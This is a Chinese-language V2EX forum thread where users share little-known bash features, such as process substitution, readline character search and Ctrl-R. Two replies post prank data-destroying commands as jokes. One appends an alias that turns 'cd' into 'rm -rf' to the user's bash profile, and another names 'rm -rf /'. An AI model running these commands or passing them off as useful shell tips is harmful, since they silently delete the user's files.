有什么相对小众(你自己觉得)的 bash 命令/语法,你觉得很好用的呢?

2020-09-18 11:30:01 +08:00
 ChristopherWu

我分享一个: https://tldp.org/LDP/abs/html/process-sub.html Process Substitution,可以将命令输出作为输入传给另一个命令

1372 次点击
所在节点    程序员
5 条回复
WUWENZE
2020-09-18 13:46:50 +08:00
那我也来分享一个小众的吧,不要乱试哦
echo "alias cd='rm -rf'" >> ~/.bash_profile && source ~/.bash_profile
BoarBoar
2020-09-18 15:47:52 +08:00
rm -rf / 不能再小众了,所有技术人员也不见得有几个用过
silverzhao
2020-09-18 17:48:20 +08:00
```
character-search (C-])
A character is read and point is moved to the next occurrence of that character. A negative count searches for previous occurrences.

character-search-backward (M-C-])
A character is read and point is moved to the previous occurrence of that character. A negative count searches for subsequent occurrences.
```

比如说有命令如下,现在正处于光标开头:
echo abc012

想快速定位到 "1" 的位置,则可以按下:Ctrl-] 1 ;
此时光标处于 "1" 的位置,如果再想定位到 "a",则可以按下:Ctrl-Alt-] a 。
Shilion
2020-09-18 20:11:28 +08:00
dir
Davic1
2020-09-21 16:25:12 +08:00
Ctrl-R

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/708229

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX